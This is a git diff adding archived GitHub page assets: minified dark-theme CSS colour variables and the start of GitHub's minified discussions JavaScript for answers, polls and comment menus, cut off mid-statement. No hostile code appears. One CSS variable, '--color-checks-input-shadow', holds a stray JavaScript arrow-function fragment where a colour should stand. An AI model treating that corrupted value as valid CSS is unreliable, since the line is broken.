#a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async 